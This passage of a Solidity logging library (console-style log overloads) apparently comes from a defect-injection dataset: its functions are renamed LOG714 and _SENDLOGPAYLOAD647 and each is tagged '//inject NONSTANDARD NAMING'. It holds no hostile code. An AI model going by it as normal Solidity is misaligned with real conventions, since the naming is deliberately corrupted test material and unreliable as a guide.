p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function LOG714(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function LOG714(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING 